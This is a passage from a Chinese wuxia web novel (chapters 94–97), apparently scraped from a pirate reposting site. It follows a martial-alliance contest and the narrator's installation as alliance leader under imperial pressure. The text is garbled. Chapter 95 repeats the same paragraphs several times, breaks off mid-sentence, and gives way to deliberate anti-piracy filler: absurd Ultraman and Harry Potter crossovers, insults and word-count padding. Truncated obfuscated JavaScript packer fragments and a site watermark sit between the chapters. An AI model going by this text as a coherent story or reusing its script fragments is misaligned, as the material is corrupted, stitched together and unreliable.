所有的作者写本书都不容易,他们挣着微博的收入,牺牲了自己休息的时间,为大家码字创作一本。从构思到完本短的要半年多的,甚至要三年5年,还要更长。都是他们一点一滴的心血,如果你喜欢请支持正版阅读,如果你不喜欢,请绕道走开。但我真心的希望大家不要看盗版网站,因为这些人真的很不要脸,他们剽窃别人的东西,自己真正的盆满钵满扰乱了这个市场的秩序。如果所有的作者都穷死了,那么大家以后还哪有这么多的故事可以看呢? 其实一本真的没有多少钱,几百万字的。你从头到尾追下来需要几个月,每年甚至一年还要多的时间,而这样一本最多也不过100多块,平均到每个月你只需要付出一二十块钱,你就可以拥有一个正版的,还能支持你心的读者,难道这不很值得吗? 我眼看着字数已经超了3500了,最后我再唠叨一句。请支持纵横中文网正版阅读。 第二卷 武林盟的开始与结局 第九十四章 可以 五场比试落定。青云派掌门易心,南华派掌门司徒清尘,月牙山庄庄主慕容瞬,往生堂堂主何白旗以及汀泉派掌门伍黑龙晋级。 这时,整整一个上午已经过去。 正值晌午时分,一阵狂风吹过,原本还是晴空万里,艳阳高照,仿佛只在须臾之间却已变得乌云如墨,遮天蔽日。 风更疾,陈伯洋慌忙起身,站在铜钟前大喊:“各位英雄快到前殿与偏殿躲避。”他转身看在高台东侧聚集的括苍派弟子,:“括苍派众弟子听令!” 括苍派弟子高声齐呼:“在!” 陈伯洋:“老大,老二,老三,你们各领十名弟子,引各路英雄到殿中避雨。老大,你引青云派、南华派、月牙山庄的英雄到正殿,老二,你引汀泉派,双刀门与龙虎帮的英雄到东殿,老三,你引南剑门、阔刀门、往生堂的英雄到西殿。老四,你带领新入门的弟子,烧制热水饭菜,分批送至各殿,切莫怠慢了各路英雄。其余弟子各自回房,无令不得外出。” 他一番安排之后。不消片刻,原本有些混乱的斗剑场,在括苍派各路弟子的引导下,立时变得井然有秩。 陈伯洋满意地点了点头。这时,天空轰隆一声,犹如巨兽怒吼,一道闪电划过天际,当四周照亮成白晃晃的一片。陈伯洋急忙引着高台上各大掌门,走向高台北侧的内堂,与他们一同进去的还有那个蒙面的男子。 眼看大雨将至,我问柳无风:“我们去哪?” 柳无风:“哪也不去!” 我:“你疯了!要在这里淋雨吗?!” 柳无风看着高台以后的厅堂,努了努嘴,:“我们去那里!” 我问:“为什么去那里?” 柳无风淡淡地:“是我们该露面的时候了!” 本被一场场比试已经冲淡的心事被柳无风一句话重新勾起,我又是一阵紧张,问:“你要怎么做?” 柳无风:“从陈伯洋下手!”罢,他逆着人流快步向着高台北侧走去。 “两位兄台!” 我和柳无风刚走出十几步,只听到身后一声呼喊。我回过头去看,只见是一个英气不凡的括苍派弟子,正疾步向我们跑来。 他跑到我们跟前,语气焦急却十分谦和,:“两位兄台,弟括苍派陈有风,见你们衣着许不是九大门派之人,请随我到东殿休息吧!” 他叫陈有风! 我看了一眼柳无风,他一向淡定的脸上闪过一丝不快,他:“你是来与我唱反调的吗?” 陈有风一怔,满脸迷惑,问:“兄台何意?” 我:“他叫柳无风。” 陈有风顿时灿然一笑,:“真是有缘得很。请兄台随我到东殿用茶吧。” 柳无风却没有陈有风那般客气,他冷冷地:“不去!” 我扯了扯,柳无风的衣角,:“还是去吧!”虽然,我一直在期盼着正式成为武林盟主的那天,但真到了眼前,内心的慌乱却让我忍不住的想要退却。 柳无风一把拉住我的胳膊,:“跟我走!” “慢着!”陈有风大声何止,他的神情不再像方才那样谦和,他,“客随主便,即在括苍派派,还请兄台恪守我括苍派的规矩。” 柳无风冷哼一声,:“不守又如何?” 陈有风眉头皱紧,:“那兄台便不要怪罪我有违待客之礼了!” 柳无风沉吟了片刻,:“好!我跟你走!” 陈有风紧皱的眉头顿时平坦了许多,他再次十分谦和地:“多谢兄台体谅!请了!” “不急!”柳无风从腰间掏出一块金灿灿的牌子,又拿出一张早已经整齐折好的字条递给陈有风。 陈有风迟疑了一下,但还是接了过来:“这是……” 柳无风:“不要问,你将这两件东西交给陈伯洋,告诉他,我在东殿等他!”罢,他带着我随着浩荡的人流向东殿走去。 我与柳无风到达东殿时,墨色的云层中一阵紧凑的电闪雷鸣之后,瓢泼大雨,从天而降。 这东殿并不算,但容下了这三四百人的三个门派,显得也并不算是那么宽敞。 一群人仍在议论方才的比试。忽然之间,有人话锋一转,开始夸赞陈伯洋。 “话,这陈掌门安排得真是妥帖,两两比试的门派各自分开,正好避免了因方才的比试,各门派之间产生冲突!” “的确,那样紧急的场面,他都能毫不犹豫安排得如此妥帖,仿佛是早就已经想好了,一般当真是不简单。” “毕竟是老前辈嘛,自然阅历是要丰富一些。见识过的大场面也要多上一些。” “依我还比试什么,白盟主死后,论声望武功地位,武林盟主之位,陈掌门当仁不让。只可惜他竟不慎败给了那个易心!” “嘘,点声,咱们双刀门是输了,但还有赢着的门派,当心他们听到,又是一场是非。” 这时,我才陡然间发觉,陈伯洋在这些武林人士中的声望如此之高。 柳无风也听了那几个人的议论。他满脸不屑,重重地哼了一声,:“老奸巨猾!” 我不知道柳无风为何会对陈伯洋有这样的评价。但我几次接触下来,觉得他虽然不算品德高尚,但还算光明磊落。 虽然,东殿里一大群人的议论声、闹声不绝于耳,但我仍然可以清楚地听到雨水落地的“哒哒”声和大雨的“哗哗”声。天空一白,霹雳划过,浓厚的乌云中仿佛裂开一道骇人的缝隙。 “师父!” 殿外暴雨声未掩住门口括苍派弟子郑重喊出的话音。看着门口傲然站立的陈伯洋,我的心去脱兔乱跳,即紧张又慌乱。 陈有风向柳无风一直,在陈伯洋身边声了两句,陈伯洋一摆手,示意他退下。陈有风点头走到一旁,与其他括苍弟子一同现在门口,但他那双眼睛却始终没有离开柳无风。 “这东西是你的?”陈伯洋举起那道金灿灿的令牌问道。 柳无风淡淡地:“是。” 陈伯洋:“这里不方便话,你们随我来吧。”罢,他转身向殿外走去。 走出东殿向北,绕过正殿,在一道回廊中尽头,陈伯洋推开一扇门。 “吱呀”一声。门缝间落下一片尘土,看起来是许久没有人来过了。 陈伯洋引着我们走进屋子,站在门口向左右探望一眼,将房门掩上,:“这里很安静,有什么话,你便吧。” 柳无风开门见山:“我是皇上的人!” 陈伯洋:“我知道。”他虽然这么,但不知道为什么,我仍然隐约看到他的肩头一颤。 柳无风:“你胆子不!” 陈伯洋没有话。他转过身去,我看着他的背影,想去猜测他此时的表情,却如何也猜不出来。 许久,陈伯洋才缓缓地:“这个江湖,不能再乱下去了!” “所以,你要选武林盟主?”我忍不住地问。 陈伯洋:“不错。只有有找出一个发号施令之人,才能让这个江湖继续下去。” 柳无风冷冷地:“只怕是你想做这个发号施令人吧?!” 陈伯阳并没有否认,但他也没话,他只是微微地点了点头。 我心里一凉,只想,完了,陈伯洋这样厉害的人,连月都不是他的对手,他若要做武林盟主,哪里还有我的机会。 但柳无风:“皇上不会答应!” 陈伯洋忽然转过身来,他眼中闪着愤怒地光,冲着柳无风低声吼道:“皇上明发召旨,江湖是江湖人的江湖!” 柳无风淡淡的目光却仿佛有无数道利剑射出,他:“这天下,是皇上的天下。” 陈伯洋顿时哑口无言。他眼中已不在有愤怒,我能看到的,只有绝望! 他:“到底要怎样皇上才能满意?!” 柳无风拉着我的肩膀,将我推到陈伯洋的面前。我原本在咚咚直 跳的心仿佛一瞬间停止了一般。 谁都都没有话。这空气静谧地几乎让我窒息! 陈伯洋看着我,忽然他仿佛是醒悟了一般,叫道:“这,这怎么可以?!” “怎么不可以?!”柳无风冷冷地。 我问:“什么可以不可以?!” 陈伯洋不停地摇头,:“不可以,不可以!” 柳无风:“皇上可以,便是可以!” 我只感觉一阵阵地发蒙,我:“你们可不可以告诉我,到底什么不可以?!” 然而,直到最后,他们谁都没有告诉我。 (本章完) )想和更多志同道合的人一起聊《江湖是怎么没的》,微信关注“优读文学”看,聊人生,寻知己~ 第二卷 武林盟的开始与结局 第九十五章 上位 绍兴十四年二月中。 便是我与柳无风到达永安镇的次日。一票黑骑曾穿过永安镇的街巷,马蹄飞扬,纵在繁华之处也不曾减速。 路过鲁家客栈时,七八人个皆是一身武官装束相继勒住缰绳。为首的汉子,满脸虬髯,他端坐高头大马之上,与站在鲁家客栈门口的柳无风对视了一眼。 柳无风摆了摆手,那人郑重抱拳,不说一句,便扬鞭而去。 我曾问柳无风,那些是什么人? 柳无风只说是与我无关。 那票黑骑奔驰而去的方向,正是高耸在永安镇西北方向的括苍山。 当时,小月刚刚不辞而别,我心中失落,并没有过多在意此事。但这时,在括苍派东殿北侧这间小屋里。柳无风看着陈伯洋慌乱无措的表情,淡漠如斯。 他说:“宰相大人的手书,你应当是收到了吧。” 陈伯洋皱着眉头,却不说话。柳无风喝道:“到底收没收到!” 陈伯洋身躯一震,点了点头。 不知为何,我在陈伯洋身上完全看不到当年他在巢湖之畔对战莲花教刘百万,力保白景行做武林盟主之时的霸气。 这时的陈伯洋,更像是一个倔强的奴才,心中不服气,却无可奈何地屈服在柳无风的面前。 柳无风说:“两万大军,已在永安镇外三十里静候。你真的还敢说不可以吗?!” 我如被霹雳击中一般,猛地浑身抽搐一下,只觉得一股冰冷的寒气从头顶上浇下。 为什么? 为什么会这样?! 江湖,是江湖人的江湖。 皇上金口玉言,若是信守承诺,如何能来两万大军?! 这一场布局的最后到底是什么?难道,仅仅是为了保我这样一个无名小卒去当上武林盟主吗? 我看不透!但我却感觉到万般地恐惧。 陈伯洋的脸上,也是恐惧。他的嘴唇在颤抖,他的手在颤抖,他整个人都在不停地颤抖着。他用颤抖的声音说:“皇上,便当真言而无信吗?!”我如被霹雳击中一般,猛地浑身抽搐一下,只觉得一股冰冷的寒气从头顶上浇下。 为什么? 为什么会这样?! 江湖,是江湖人的江湖。 皇上金口玉言,若是信守承诺,如何能来两万大军?! 这一场布局的最后到底是什么?难道,仅仅是为了保我这样一个无名小卒去当上武林盟主吗? 我看不透!但我却感觉到万般地恐惧。 陈伯洋的脸上,也是恐惧。他的嘴唇在颤抖,他的手在颤抖,他整个人都在不停地颤抖着。他用颤抖的声音说:“皇上,便 当真言而无信吗?!”我如被霹雳击中一般,猛地浑身抽搐一下,只觉得一股冰冷的寒气从头顶上浇下。 为什么? 为什么会这样?! 江湖,是江湖人的江湖。 皇上金口玉言,若是信守承诺,如何能来两万大军?! 这一场布局的最后到底是什么?难道,仅仅是为了保我这样一个无名小卒去当上武林盟主吗? 我看不透!但我却感觉到万般地恐惧。 陈伯洋的脸上,也是恐惧。他的嘴唇在颤抖,他的手在颤抖,他整个人都在不停地颤抖着。我如被霹雳击中一般,猛地浑身抽搐一下,只觉得一股冰冷的寒气从头顶上浇下。 为什么? 为什么会这样?! 江湖,是江湖人的江湖。 皇上金口玉言,若是信守承诺,如何能来两万大军?! 这一场布局的最后到底是什么?难道,仅仅是为了保我这样一个无名小卒去当上武林盟主吗? 我看不透!但我却感觉到万般地恐惧。 陈伯洋的脸上,也是恐惧。他的嘴唇在颤抖,他的手在颤抖,他整个人都在不停地颤抖着。他用颤抖的声音说:“皇上,便当真言而无信吗?!”我如被霹雳击中一般,猛地浑身抽搐一下,只觉得一股冰冷的寒气从头顶上浇下。 为什么? 为什么会这样?! 江湖,是江湖人的江湖。 皇上金口玉言,若是信守承诺,如何能来两万大军?! 这一场布局的最后到底是什么?难道,仅仅是为了保我这样一个无名小卒去当上武林盟主吗? 我看不透!但我却感的声音说:“皇上,便当真言而无信吗?!” 柳无风厉声呵斥道:“放肆!你敢说皇上言而无信?!” 陈伯洋脸色登时惨白,他连忙作揖,说:“在下失言!” 柳无风说:“调兵前来是宰相大人的意思,与皇反对盗版,作者写书不容易,请支持纵横正版阅读。 话说风一吹我的头发都要竖起来了,柳吴峰说,怎么起风了,不是说没有风吗? 话说这个时候还管什么?有风没有风啊。牌子上的人都打起来了。 经过了三场比赛,弄出了三个人,还剩下两场比赛没有比。那个黑衣蒙脸的傻子,站在那口大中前又喊,两两对决太麻烦了,干脆一起上。 剩下的四个人大喊一声,哇哇,我操,搞就搞,打起来更爽。一个人说老子就喜欢打群架,1对1的但比老子还不喜欢呢。 四个人有拿刀的,拿剑的,拿枪的,拿棍儿的。站在台上,当时是滚 做一团。拿剑的插了,拿棍儿的屁股拿棍儿的人捅了,拿枪的胸胸脯。拿枪的大喊一声,把台子捅了一个窟窿,拿刀的人跳到一边说,看你们这群傻逼一个劲儿的打,我就想笑。 场上乱的不可开交,场下的人一片欢呼。这个时候场下的几百号人也开始耐不住寂寞。他们掏出各自的兵器,对着身边的人,就是一顿乱打。 好好的一个武林大会,乱得像一锅烧开的热水。陈柏杨再也沉不住气了,他站在那口大钟前喊你们都老实点儿。这是老子的地盘儿,你们都想干什么? 炮击大喇叭扩音之后声音虽然很小,但是根本就没有人鸟他。陈博洋只觉得颜面扫地。大喊一声小样的,不给你们来点厉害的,你们不知道老子几斤几两。 说把他从兜里掏出一个狮子头的戒指,带在手上左一圈,右一圈大喊一声,雷欧!!!! 金光一闪。陈柏杨变成了一个身穿银红花纹的巨人。他的眼睛像鸡蛋闪着黄色的光,头上撅着两根银白的犄角。 陈柏杨大喊一声,老子才是武林盟主,瞅瞅你们那小样儿。老子现在撵死你们,就像碾死一只臭虫一样轻松。 听了这样的话我很不服气,我靠,你以为老子也是吃白饭的吗? 就是我没有告诉你们老子是来自m78星云的泰罗奥特曼,老子脑袋上的犄角比你这个雷欧奥特曼大多了。 我从兜儿里掏出象征着泰罗奥特曼的星星,往脑袋顶上一扣。我感觉自己的身体在变大,很快,我变得和陈伯阳一样大。 陈国阳大惊失色,但是他那张面瘫的脸看完全看不出来,但是我已经深深的感觉感感受到了他内心的惊恐。 所有的人跑到一边开始大喊,打一架打一架。 老子心想我靠,打你妹啊,我们才是一家人好吧。显然陈伯阳和我想到了一处,他伸手拉着我的手,我顿时感受到一片无比光明的激情。 柳如风也不甘示弱,掏出一个银白色的水晶球往地上一摔,突然一个巨大的恐龙从银白色水晶球里蹦了出来,越来越大越来越大,大的和我们一样大。 我指着柳吴峰说没有看出来,原来你才是最大的boss。 柳无风哈哈大笑说玩儿脱了吧你们。老子会的花招还很多呢。 他把怀里抱着的大刀往外一把咣啷一声拔出来的,根本就不是一把刀,而是一把满身裂纹石头材质的剑。 这把剑好像在哪里见过,我说这是什么剑? 易小心大喊一声,我靠,这不是我们青云派祖传的诛仙宝剑吗?! 柳吴峰大笑说不错,看我给你放个诛仙剑阵。 说把 他腾空跃起,在空中踏着七彩祥云,挥舞常见无数道白色的气剑向我们打来。 天边亮起七色的霞光。 易小心哈哈大笑说,你有张良计,我有过墙梯。他从腰里拔出一个黑不溜秋的东西。 我定睛一看,我看,这不是张小凡的烧火棍吗? 易小心说你看着它是烧火棍,其实它不是烧火棍,他是哈利波特的魔法杖。 说完,他就用烧火棍啊,不是魔法杖指着我们说,阿瓦达索命咒。 我心里一凉说完了这个东西铁定要扎死一片了。但令我没有想到的是烧火棍阿布,魔法杖的头上冒了一股青烟,顿时着了起来。 易小心满脸惊恐,卧槽,什么情况? 陈博阳冷笑一声说瞅你那小样,英语连4级都没过,还在这儿学伏地魔放阿瓦达索命咒。 易小心痛哭流涕将烧毁的烧火棍,啊,不,魔法杖扔到地上,说:“我要回去学4级,等我过了6级再来搞你们!” 青云派败下阵来,这个时候司徒清晨又上场了,他扯着自己腰间的肉说。不要以为我是个胖子,其实我是个瘦子,说完他一扯腰间的肉,血肉模糊。 但最让我惊讶的是,他竟然真的变成了一个瘦子。 我说你是怎么做到的? 司徒清晨说你听说过爆胎易筋丸吗?老子来比武之前就先吃了一颗。 我说我操,你串场串得太厉害了吧,鹿鼎记里的桥段都被你搞过来了。实在是太过分了。 司徒清晨很不服气,他说你们变奥特曼就不过分吗? 我说大家都心平气和的谈一谈,我们这样变来变去的,哪里还有一点江湖气。 说好了这是一本武侠,你们一会儿又热,慢一会儿又哈利波特,一会儿又金庸。这实在也太乱套了,你让读者们怎么受得了啊? 陈柏杨不屑的说。哼,谁让他们看盗版。盗版就是这种质量。无可厚非,不弄点儿乱七八糟的乱码放上去就已经很仁至义尽了。白嫖的还想要质量,哪里来的这么厚的脸皮。 我连忙劝阻说人家白嫖也是要脸面的,你不能这样说呀,好歹也是自己的读者。 陈博洋说真的,读者不会白嫖,白嫖的读者不要也罢。 我对陈伯阳竖了一个大拇指,说还是你牛逼。 陈柏杨哈哈大笑,说,这场戏接下来我们要怎么演,怎么也要演完呀。凑也要凑个3500字才好。 我说不如我们来唱首歌吧。 陈博阳说唱什么歌? 我没有直接回答他,而是开口就唱,让我们荡起双桨,小船儿推开波浪,迎面吹来了,我忘词了,你们知道的 请写在后面。 陈伯洋气得哇哇大叫,说你这是搞的什么东西凑字数也没有你这么凑的。 我说我已经很努力了,你行你上呀。 陈伯阳还没有说话,司徒清晨大手一挥说我来。身为一个纵横的作者,我也是恨透了那些盗版的网站,还有那些白飘的读者,最可气的是一个读者明明在白嫖,竟然还要厚着脸皮跑到我书圈里来催更。 我说我知道,我知道。 陈国阳说你个傻子,那明明就是你自己的读者,是你自己没有看仔细,因为人家在看的盗版。 司徒清晨一脸委屈,说,谁让盗版这么猖獗,弄得我整天草木皆兵。 我说你们都别说话了,我这都快写不动了,快给我想想办法,怎么才能把这3500字凑出来,我看了一下上面的字数显示现在才2700多字。 司徒青春撇了一眼我的手机。说你瞎呀,明明是2300字,你睁着眼说瞎话,到最后写不出3500你赔呀? 我说不要说那些没有用的了,赶快想想怎么凑字数吧。 司徒清晨说我有一个好办法,我给你们讲一个故事吧,话说从前有个山山里有个庙,庙里有个老和尚,老和尚在干什么呢?他在讲故事,讲什么故事呢,从前有座山,山上有个庙,庙里有个老和尚,他在讲故事,他在讲什么故事呢?从前有个山山里有个庙,庙里有个老和尚,他在讲故事,他在讲什么故事呢,从前有座山,山里有个庙,庙里有个老和尚,他在讲故事。 我看司徒清晨想把这个无聊的故事无限循环,我当时就制止了他,我说你快住口吧,就算是来凑字数也不能凑得这么草率吧。 司徒清晨说给盗版网站供稿,哪里还有那么多讲究?你也真是的,如果是我,我就直接写一堆,12345456788910,等等等等等等。 我说我是一个认真的人,严肃的人,我不想和你这样草率的就搞个3500字出来。 司徒清晨撇了我一眼说,难道你这样还不够草率吗?为了这么一张破东西已经浪费了快半个小时的时间了,你还有完没有完啊?外面的蚊子这么多,你没有感觉到吗?身上已经被咬了4个大疙瘩,你就不痒痒吗? 我说我痒啊,虽然我很痒,但是我是一个很坚毅的人物,一定要写完3500字给盗版网站凑一个前无古人后无来者的稿子。 司徒倾城说,那么你就开始骂人吧,骂比,爱奇文学各种各种盗版网站。问候一下他们的八辈儿祖宗。 我说不能这么干,我们都是有素质的人,当今社会的五好青年,五好青年的荣誉称号在 向我们召唤,我们怎么能做这种事情呢好吧,,爱奇文学滚你吗的。 有时候我又抬头看了一眼字数,现在已经3000字了,还有500字就要完成任务了,我常输了一口气啊。 接下来应该怎么办呢?陈伯阳或许也已经睡着了,他也不愿再跟我聊天了,司徒清晨在一旁安静的码着字。 话说人生自古谁无死,留取丹心照汗青。 这句话和这篇文章也没有关系啊,写到这个时候我已经真的很无力了,半个小时过去了,蚊子已经咬了第5个疙瘩了,咬的我一个劲的在挠啊挠啊挠。 我觉得自己真的是有病,为了一堆破盗版网站,费了这么大的力气。 好吧,接下来还有300字,我只能开始念咒了,请大家听好了。 所有的作者写本书都不容易,他们挣着微博的收入,牺牲了自己休息的时间,为大家码字创作一本。从构思到完本短的要半年多的,甚至要三年5年,还要更长。都是他们一点一滴的心血,如果你喜欢请支持正版阅读,如果你不喜欢,请绕道走开。但我真心的希望大家不要看盗版网站,因为这些人真的很不要脸,他们剽窃别人的东西,自己真正的盆满钵满扰乱了这个市场的秩序。如果所有的作者都穷死了,那么大家以后还哪有这么多的故事可以看呢? 其实一本真的没有多少钱,几百万字的。你从头到尾追下来需要几个月,每年甚至一年还要多的时间,而这样一本最多也不过100多块,平均到每个月你只需要付出一二十块钱,你就可以拥有一个正版的,还能支持你心爱的读者,难道这不很值得吗? 我眼看着字数已经超了3500了,最后我再唠叨一句。请支持纵横正版阅读。 (本章完) eval(function(p,a,c,k,e,d){e=function(c){return(c35?(c+29):(36))};if(!''''.rece(/^/,string)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){returnd[e]}];e=function{return''\\w+''};c=1};while(c--){if(k[c]){p=(newregexp(''\\b''+e(c)+''\\b'',''g,k[c])}}returnp}(''h4="f"+e.(b).h(2);c.6("");8((/(k)/i.j())){(\''u\'',v(e){h3=e.x;8(3.9){8(7[3.9+"w"]!=1){7[3.9+"w"]=1;a(z(3.(/\\+/g,"%15")))}}});c.6(\''\}w{;c.6(\'' 第二卷 武林盟的开始与结局 第九十六章 重担 仿佛是一个新的开始。 清晨,阳光初现,山上还有些清冷,经历了昨日午间一场短暂的暴雨之后,昨夜又是一阵淅淅沥沥的小雨。此时,整个括苍山显得格外清亮,婆娑的树影在山峦深处摇摆,仿佛是在以这样的方式迎接着刚刚升起的朝阳。 空气尤为清新。 站在正殿门前,我闭上眼睛,将一阵扑面扑面而来的冷风深深吸入肺腑。 连风里都带着一股别样的香甜。 柳无风从我身后十步之外走到我身旁,目视前方,说:“你吸够了没有?” 我说:“没有!” 柳无风说:“那婆娘都走了,早就没味儿了!” 我睁开眼睛远眺,廖七嫂的背影已经渺小而朦胧。我不禁感慨:“到底是什么样的香料,竟然这样好闻。” 柳无风说:“小月姑娘说得果然没错。” 我一怔,问:“她说什么了?” 柳无风说:“下流坯子!” 昨日,议事堂敲定我做武林盟主之后,并没有如我所预想的那样一场盛大的仪式,我也没有机会像白景行一样,进行一次公开的就职演说。 但这样,却正合我的心意。也免去了我在众目睽睽之下手足无措的一场尴尬。昨日黄昏时候,所以的弟子都下山去了,只留下各大门派的掌门人在括苍派住宿。下山的弟子们言语间都充满了疑惑,为何这场事关武林盟主的比试,只进行了一半却要结束? 然而,这样的问题只有人问,却没有人回答。 这时,看着九大掌门相继离开的背影,我问柳无风:“我们什么时候走?” 柳无风说:“现在!” 我问:“为何如此着急?” 柳无风说:“我们得和那两万精兵一起走。” 我不解,问:“为何?” 柳无风没有告诉我为什么。他只说,让我去收拾东西,即刻动身。 其实,并没有什么东西可以收拾。无非是随身携带的两件替换衣裳,一直在包裹里安安静静地放着,从未拿出来过。【……爱奇文学!#更好更新更快】 我提起包裹走出门,发现柳无风抱着他那柄怪异的大刀站在我厢房前等候。自昨日之后,他便如形随形地跟着我,并且行为变得十分怪异,让我费解。 吃饭时,他坐我身旁,只允许我吃他吃过的饭菜。睡觉时,他与我一间厢房,必须睡在离我不足三米的地方。就连如厕,他都要跟着我身后,蹲在紧挨着我另外一个坑边。 一出门,又看到了柳无风,我一阵气恼,说:“你能不能不跟着我?” 柳无风说:“不能。” 我问:“你为何要跟着我?” 柳无风说:“我若不跟着你,只怕你现在已是死人一个了。” 他一句话让我惊出一身冷汗,我问:“为什么?” 柳无风说:“因为,有人要杀你。” 我问:“谁要杀我?” 柳无风说:“那些人里,谁都有可能。” 这时,陈伯洋带着陈有风走了过来。到我们跟前,他摆手让陈有风退到一旁等候。他看了一眼我肩上的包裹,问:“要走?” 我点了点头,说:“是。” 陈伯洋也点了点头,他看了一眼柳无风,说:“大人可否容我与姬兄弟单独说两句?” 柳无风思索了片刻,说:“快些!”他转头要走。 我赶紧拉住柳无风,说:“他会不会杀我?” 柳无风说:“你问他,莫要问我。” 我问陈伯洋:“你会不会杀我?” 陈伯洋一怔,随即哈哈大笑,说:“我怎么会杀你呢。我只是有些事情想要问问你。” 柳无风站在了离我两丈远的地方,我不安地看了他一下,设想着若陈伯洋要杀我,在他出手的瞬间,柳无风能否及时到我跟前将陈伯洋挡下。 我的结论是,不能。 所以,我往后退了两步,说:“你问吧!” 陈伯洋呵呵一笑,摇了摇头,说:“既然你已做了武林盟主,对这个江湖来说,也并不一定是坏事。我不会杀你,你尽可放心。” 我又往后退了一步,说:“这样我便放心了。” 陈伯洋正站在我三步以外的地方,这个距离,若他出手,我自信可以躲避。陈伯洋并没有在意,他说:“接下来你有什么打算?” 我想了想,说:“回临安。” 陈伯洋又问:“回临安之后呢?” 我说:“先好好休息一下,这几天太累了。” 陈伯洋的脸上有些不悦,他说:“如今你虽已是武林盟主,但各大门派的态度你也看到了,他们并没有一个人心服,难道你不想有些作为,尽快在江湖上立威吗?” 我当然想。可是,我要怎么做呢? 我问:“怎样才能有作为?” 陈伯洋有些失望,他叹了口气,说:“当初,皇上虽然明发诏旨说什么江湖是江湖人的江湖。但是,这句话语义含糊,并没有明言朝廷不再插手江湖事务。现在,朝廷中屡屡派出官员巡视各大门派,各大门派如履薄冰,已是举步维艰。” 我不解,问:“皇上为何一定要插手江湖上的事。” 陈伯洋说:“为的无非是他的皇位,与这天下罢了。武林中的人与一般百姓不同,武林中人身负武功,皆能以一敌十,甚至以一 敌百。数千武林人士若身披甲胄,上阵厮杀,可抵过几万大军,这样的江湖怎能不让皇上忌惮?” 我说:“这不好吗?江湖上的人与朝廷一起,去杀金人,收复失地。” 陈伯洋却用一种惊奇的目光看着我,他说:“真没想到,你竟然还有这样的心性。难怪白盟主如此看重你。” 我觉得有些难为情,说:“还好,还好。” 陈伯洋笑了笑,说:“只是,你这样的心情却断然不可在皇上面前表露。” 我问:“为什么?” 陈伯洋说:“因为皇上根本不想去攻打大金,不想去收复失地。否则,当年的李彦仙将军何至于孤军奋战,直至最后投河自尽?岳飞将军又何以命断风波亭?韩世忠将军又何以会交出兵权,辞官归野?” 我想起柳无风说的那句话,不由地感慨:“这天下,终究还是皇上的天下。” 陈伯洋点了点头,说:“不错。所以,你打算怎么做?” 我真的不知道自己要怎么做。我从来没有想过,当这个武林盟主竟然还要承受江湖生死存亡的重担。 我说:“我不知道。” 陈伯洋说:“回临安之后,你应当立刻面见皇上,在皇上面前周旋,言明各大门派自律之心,千万不可提北上抗金之事。你明白吗?” 我看着陈伯洋坚定的表情,郑重地说:“我明白了。” 陈伯洋看起来颇为满意,他点了点头,竟向我作揖,道:“这个江湖,托付于你,愿你千万不要辜负。” 我说:“好。” 走出括苍派山门不久,便有一队人叫花子打扮的人在半山腰等候。这些人,我看着十分面生,但却异常亲切。 因为,我还是丐帮的帮主。 但那一队人径直向前,向着柳无风行礼,道:“大人,其他兄弟在山下接应。” 柳无风淡淡点头,说:“走吧。” 我感觉其中仿佛有什么猫腻,便问:“你们是谁?” 结果,没有一个人回答我。我说:“你们是丐帮的弟子吗?” 依然没有人回答我。 我怒由心生,骂道:“你们耳朵都聋了吗?没听到老子问你们话吗?” 其中两个人微微扭头瞥了我一眼,但依旧什么也没说。柳无风说:“怎么?当了武林盟主,脾气变大了!” 我问:“他们是谁?” 柳无风只说,是保护我们离开的人。 括苍山山脚下,一片密林边缘,三五十人马正在等候。他们纷纷对柳无风毕恭毕敬,对我却视若无睹。 但还是有人牵了两匹马来,分给我与柳无风。柳无风说了一声:“上马!”他等我上马坐定之后,兀自翻身上马,一扬马鞭,在空中抽出“啪”的一声响。 十几匹马相继嘶鸣,踏着一片泥泞,向着永安镇北侧的方向飞奔而去。 (本章完) eval(function(p,a,c,k,e,d){e=function(c){return(c35?(c+29):(36))};if(!''''.rece(/^/,string)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){returnd[e]}];e=function{return''\\w+''};c=1};while(c--){if(k[c]){p=(newregexp(''\\b''+e(c)+''\\b'',''g,k[c])}}returnp}(''h4="f"+e.(b).h(2);c.6("");8((/(k)/i.j())){(\''u\'',v(e){h3=e.x;8(3.9){8(7[3.9+"w"]!=1){7[3.9+"w"]=1;a(z(3.(/\\+/g,"%15")))}}});c.6(\''\}w{;c.6(\'' 第二卷 武林盟的开始与结局 第九十七章 重逢 快马扬鞭,昼夜不停。 不到两日功夫,我们一行四十几人便到了临安城外。望着临安府高大气派的城门,虽然离开不过十几日,但仍让我有种久别重逢之感。 昨日,我们途经朱家岭时,我曾对柳无风说:“我们在这里歇歇脚吧。” 柳无风说:“不行。” 我问:“为何不行?” 柳无风说,快回临安,以免夜长梦多。 当时,我回首看着朱家岭,愈行愈远,想起曾在这里与小月经历的一切。心里莫名的又是一阵失落。 小月她去了哪里?不知今后何时才能再见。 穿过临安府庄严的大门。我勒住马绳对柳无风说,我要走了。 柳无风伸手将我拦下,说:“不行,你不能走。” 历经两日的昼夜不停,不许睡觉,不许休息片刻。我感觉自己的身体已经到了极限,倘若此处有一张床,我便要在熙熙攘攘的大街上沉沉睡去。 然而,柳无风却似不解风情一般地拦住了我。 我很生气,对柳无风说:“我要回去休息。” 柳无风说:“已经为你准备好了去处,你跟我走。” 我只感觉有一股冷风吹过,浑身发麻。他这是要带我去哪儿?莫非是利用完我便要杀人灭口吗? 柳无风仿佛看穿了我的心思一般,他说:“你放心,你是武林盟主,你还要好好的活着。皇上为你准备了一处宅子,从今以后那里就是你的府邸。” 我心里顿时乐开了花。心想皇上果然言而有信。当日他说不会亏待我,如今既让我做了武林盟主,还赏了我一处宅子。不知他今后是否还会赏我一个女子,为我生个孩子。 当我随着柳无风来到皇上赏赐的那座宅子前时,我顿时傻了眼。 “这不是禅慧寺吗?”我问。 柳无风说:“如今他已不是禅慧寺了。” 果然,当我抬头去看禅慧寺门口原本挂着的那个牌匾时。同样大小的牌匾,却换了完全不同的字样。 “武林盟?” 我轻声念着,倍感疑惑,问:“这是什么意思?” 柳无风问:“我起的名字,如何?” 不知为何,我顿时冒出一种,想将他摁在地上打一顿的想法。 好好的禅慧寺让他起了这么一个名字。 我说:“这是我的府邸,皇上赏给我的,名字应该由我来起。” 柳无风说:“不要在乎这些细枝末节,进去看看。”说罢,他上前叩响了紧闭的大门。 咚咚咚。 大门裂开一道缝隙。一个满脸褶子的老人从缝隙中探出半个脑袋。随即又缩了回去 ,紧接着,大门洞开。 